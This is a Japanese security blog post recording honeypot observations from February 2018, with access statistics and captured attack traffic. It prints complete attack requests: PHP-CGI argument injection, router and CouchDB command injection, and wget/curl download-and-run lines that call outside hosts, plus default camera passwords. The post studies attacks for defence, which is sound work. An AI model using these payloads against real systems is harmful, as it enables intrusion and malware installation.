Misc notes

~セキュリティに関する雑記~

ハニーポット観察記録 2018年2月

f:id:fatsheep:20171227121757j:plain:w630

2月末に@morihi_socさん主催のハニーポッター技術交流会に参加させていただきました。
2時間という短い時間でのLTでしたが、内容がとても濃く、大変有意義な交流会でした。
次回は発表者としての参加を見据え、さらなる精進に励みたいと思います。
資料についてはconnpassのページからたどれますので、気になった方はご参照いただければと思います。
hanipo-tech.connpass.com

それでは今回の記事でもハニーポットで観測した攻撃情報をまとめて公開したいと思います。

なお今回のまとめでは、ハニーポットへの攻撃手法のほうを重点的に書いていきます。配置されたファイルについては別の機会でまとめたいと思います。

全体のアクセス状況

まずはハニーポット全体でのアクセス状況を見ていきたいとおもいます。

アクセス元(国)

順位 アクセス元(国) 2月 1月 前月比 前月順位
1 Russia 3122438 1142777 273% 1
2 France 488897 61562 794% 11
3 Netherlands 350739 142741 246% 4
4 United States 271081 92947 292% 6
5 Canada 157822 2464 6405% 29
6 Brazil 129037 85559 151% 7
7 Italy 105323 24305 433% 5
8 China 99409 215048 46% 3
9 Seychelles 83991 2543 3303% 28
10 Germany 80276 6614 1214% 22
14 Republic of Korea 44443 626879 7% 2

今回はマップではなく、表であらわしてみました。
アクセス元の国は変わらずロシアからのアクセスが多い傾向でした。前月から新たにランクインした国として、フランス、カナダ、セーシェル、ドイツが入りました。前月比で見ると10倍~60倍程度増加しており、何らかの兆候があるのではと思います。
また韓国についてはピョンチャンオリンピック開催時期でもあったため、個別に出してみました。今月は政治的問題が前月と比べ落ち着いたことによる影響なのか、アクセス数は激減している状況でした。(韓国からのアクセスは少なかったですが、おそらく韓国へのアクセスは結構あったのではと思います。)

アクセスポート

f:id:fatsheep:20180304164345j:plain
アクセスポートの傾向としては変わらずリモートシェル、リモートコンソール系の通信が多い傾向でした。
今回新たにランクイン(トップ20)したものとしては、1883/tcpと5984/tcpがありました。1883/tcpについてはMQのサービスポートのようです。また5984/tcpCouchDBのサービスポートで、先日話題になった脆弱性を突く通信と思われます。

f:id:fatsheep:20180328230147p:plain
アクセスポートに関しても、韓国からのものを取り出して見ました。
若干の違いはありますが、上位はやはりリモートアクセス系サービスへの通信が多いです。また変り種としては、20547/tcp宛のPLCへの通信や、47808/tcp宛のビル管理システムのBACnetというサービスへの通信がありました。

SSHTELNET(Cowrie)

次にSSHTELNETへのアクセスについてです。

使用されたユーザ名・パスワード

f:id:fatsheep:20180304234805j:plain
SSHTELNETのアクセスに使用されたユーザ名(左)とパスワード(右)のタグクラウドになります。
上記のうち、特に気になったものを調べてみました。

S2fGqNFs、OxhlwSG8

HiSiliconというメーカのIPカメラの初期パスワードのようです。
上記のパスワードを調査している過程で、以下のGithubのページを見つけました。プロトコルごとに、IoT機器やDBなどの初期パスワードがまとめられて掲載されています。このようなサイトは探すと結構みつかり、危険性を知らせるために公開されているのだとは思うのですが攻撃者が使うとなると便利ツールの1つになってしまうのでは、と思うところがあります。ここがセキュリティの難しいところですね・・・
github.com

HTTP(Glastopf)

次にHTTPサービスへのアクセスについてです。

リクエストランキング

GETリクエス
リクエス 回数
GET / 270
GET /server-status?auto 66
GET /stub_status 64
GET /status?full&json 64
GET /pma/scripts/setup.php 28

GETリクエストの内容です。上位はやはりHTTPサーバの状態を確認するもののようです。また5位にはPHPMyAdminのセットアップページへのアクセスがランクインしました。(5位までしか表示していませんが、実際には同様のアクセスが多くきています。)

POSTリクエス
リクエス 回数 補足
POST /index 7  
POST /zabbix/jsrpc.php 4 統合監視システムZabbixのSQLインジェクション、リモートコード実行の脆弱性を突く通信*1
POST /getcfg.php 4 D-Link DIR-645のリモートからコマンドを実行できる脆弱性を突くための通信*2
POST //cgi-bin/php?%2D%64(snip) 4 Apache Magica攻撃を行う通信*3
POST /hndUnblock.cgi 2 Linksysのルータ(?)のリモートからコマンドを実行できる脆弱性を突くための通信

POSTリクエストの内容についても確認してみます。GETに比べアクセス数はだいぶ少ないです。上記の通信のうち、いくつかピックアップして詳細を確認したいとおもいます。

POSTリクエストで送られてくるデータ

cgi-bin/phpへのアクセス
POST //cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n hxxp/1.1
Content-Length: 336
Content-Type: application/x-www-form-urlencoded
Host: -c

<? system("cd /tmp;killall -9 perl;wget hxxp://211.23.165[.]65/test.tgz;tar zxvf test.tgz;rm -rf test.tgz;cd .test-unix;./run;./x;curl -O hxxp://211.23.165[.]65/test.tgz;tar zxvf test.tgz;rm -rf test.tgz;cd .test-unix;./run;./x;fetch hxxp://211.23.165[.]65/test.tgz;tar zxvf test.tgz;rm -rf test.tgz;cd .test-unix;./run;./x;rm -rf run* "); ?>

Apache Magica攻撃により、外部からコマンドを実行させようとしています。何がダウンロードされるかについては、調査時点(3月7日)では不明(404エラーでリンク切れ)でした。
php?以降は実際にはURLエンコードされていました。

hndUnblock.cgiへのアクセス
POST /hndUnblock.cgi HTTP/1.1
Accept: */*
Content-Length: 384
Content-Type: application/x-www-form-urlencoded
Host: [masked]
User-Agent: Wget(linux)

submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;rm -f nmlt1.sh;wget -O nmlt1.sh hxxp://domstates[.]su/nmlt1.sh;chmod +x nmlt1.sh;./nmlt1.sh`&StartEPI=1

外部のシェルスクリプトをダウンロードし実行させようとしています。シェルスクリプトダウンローダになっており、別のペイロードをダウンロード・実行させるよう記載されておりました。実際にダウンロードされるペイロードは以下の3つでした。
※上記のコマンド部分は実際にはURLエンコードされていました。
※不審なURLは不慮の直接アクセスを避けるよう編集しています。
Antivirus scan for 3d10597de9933e36894958bb01300e2f3004b09ed1280e72f74a34830d494c87 at 2018-06-06 23:43:36 UTC - VirusTotal
Antivirus scan for b50d6ad38a9c79209907486ac05450fd3b8d76b5bf69398672c70398c01db168 at 2018-05-11 05:03:37 UTC - VirusTotal
Antivirus scan for b8560ce1bacb5515fdaef7cb3615a8172663da749b038687ab4a439cbf64f23b at 2018-05-11 05:03:34 UTC - VirusTotal

DB・ファイル共有系(Dionaea)

Dionaeaで観測した気になる通信を記載します。

1833/tcp

記事冒頭でも記載しましたが、今月アクセスポートとして新たにランクインしたポートになります。
このポートはMessage Quereのサービスが使う予約済みのポートです。
攻撃の概要については、以下の記事が参考になりそうです。
www.trendmicro.com
通信元については、9割以上が1箇所からの通信でした。(アメリカリージョンのAWS
通信内容についても確認してみました。

stream = [('in', b'\x100\x00\x04MQTT\x04\x02\x00\x0a\x00$38dcb8da-4cb3-4d7c-8ce8-6702888dd672'),
('in', b'\x82X\x00\x01\x00\x01#\x00\x00\x19$SYS/broker/clients/total\x00\x00\x1d$SYS/broker/messages/received\x00\x00\x13$SYS/broker/version\x00'),
('in', b'\xc0\x00'),
('in', b'\xe0\x00')]

上記についてはおそらく攻撃前の偵察活動で、MQソフトウェアの情報収集を行っているものと推測しています。この後、目的のバージョンであれば、継続して攻撃が続行するのだと思います。

その他のプロトコル(Honeytrap)

Honeytrapで観測した気になる通信を記載します。
Honeytrapが受け付け、記録したアクセスのポート別のランキングは以下のようになっていました(アクセス数トップ10)。

順位 TCPポート アクセス回数
1 81 3838
2 52869 1328
3 110 1001
4 5984 612
5 8082 533
6 8545 496
7 502 423
8 139 364
9 60001 324
10 8079 308

以下、気になったログを確認していきたいと思います。

81/tcp

ランキング1位の81/tcpへのアクセスです。
約3800件のアクセスのうちおよそ3000件は以下のようなBasic認証ブルートフォースする通信でした。

GET / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Accept: */*
Authorization: Basic YWRtaW46MDAwMDAx
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
DNT: 1
Host: [masked]:81

UserAgentはすべて同じもので、認証部分は以下のような文字列が1300種類ほどありました。

root/camera
root:vstarcam
user:kinglong
Admin:123456
Adminstrator:123456
administrator:111111

また上記の通信は、30分間程度の間で行われていたので、何らかのツールを用いて通信しているものと考えられます。

5984/tcp

冒頭でも記載しましたが、今月ランクインした通信先です。
こちらはApache Couch DBというOSSのDBの脆弱性を突いた通信のようです。
blog.trendmicro.co.jp

通信内容についても確認してみました。主に以下の2パターンの通信がありました。

PUT /_users/org.couchdb.user:topkek112 HTTP/1.1
Host: [masked]:5984
User-Agent: Go-http-client/1.1
Content-Length: 98
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
{ "type": "user", "name": "topkek112", "roles": ["_admin"], "roles": [], "password": "topkek112" }
PUT /_config/query_servers/cmd HTTP/1.1
Host: [masked]:5984
User-Agent: Go-http-client/1.1
Content-Length: 98
Authorization: Basic dG9wa2VrMTEyOnRvcGtlazExMg==
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
"/bin/bash -c '{echo,Y3VybCBodHRwOi8vOTQuMjUwLjI1My4xNzgvbG9nbzYuanBnfHNo}|{base64,-d}|{bash,-i}'"

通信内容としてはTrend Microさんのほうで公開している内容と全く同じものでした。またアクセス元は5984/tcp宛通信のうちおよそ95%がロシアの1箇所(1IP)から来ていました。さらにペイロードのダウンロード元(echoのところをBase64デコードすると94.250.253[.]178になります)もロシアでしたが、何か関連があるのでしょうか。

60001/tcp

IBMDB2というソフトウェアが使うポートのようです。
こちらへのアクセスについては応答確認と、数種類のコマンド実行を行うようなものがありました。
コマンド実行するものはすべてURLエンコードされており、wgetコマンドで外部からペイロードをダウンロードし実行するものと、unameコマンドを実行(おそらく偵察活動)するものの2種類がありました。
以下は記録された通信の1つです。

GET /shell?%77%67%65%74%20%2D%50%20%2F%74%6D%70%20%68%74%74%70%3A%2F%2F%61%72%6D%2E%74%66%31%32%33%2E%63%6C%75%62%3A%31%32%33%34%2F%74%66%61%72%3B%63%68%6D%6F%64%20%37%37%37%20%2F%74%6D%70%2F%74%66%61%72%3B%2F%74%6D%70%2F%74%66%61%72 HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: zh-cn
Referer: http://[masked]:60001/shell?%77%67%65%74%20%2D%50%20%2F%74%6D%70%20%68%74%74%70%3A%2F%2F%61%72%6D%2E%74%66%31%32%33%2E%63%6C%75%62%3A%31%32%33%34%2F%74%66%61%72%3B%63%68%6D%6F%64%20%37%37%37%20%2F%74%6D%70%2F%74%66%61%72%3B%2F%74%6D%70%2F%74%66%61%72
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: [masked]:60001

上記通信のURLエンコード部分をデコードすると、以下のようになり、外部からコマンド実行させようとすることがわかります。

wget -P /tmp http://arm.tf123[.]club:1234/tfar;chmod 777 /tmp/tfar;/tmp/tfar

なおダウンロード元については10種類程度ありましたが、そのうちの数種類(上記のダウンロード元も含む)はすでにドメインIPアドレスが紐付いておらず、実際には何もダウンロードされないようなものもありました。

※Passive Totalで調べたところ、以下のように2017年6月には使えないドメインになっていました。
f:id:fatsheep:20180319003435p:plain:w400
これについては、攻撃者が入手したツールが古い状態のものでメンテナンスされておらず、それを知らずに使用し続けているのではと推察しています。

最後に

今回は配置されるファイルよりも方法について重点的に確認していきました。プロトコルごとに本当にさまざまな攻撃手法があるんだなぁとつくづく思います。
今後は気になった通信は随時見ていき、月1回の記事ではサマリ程度に書いていこうかなと思います。(新たな攻撃をタイムリーに出すこともできますので。)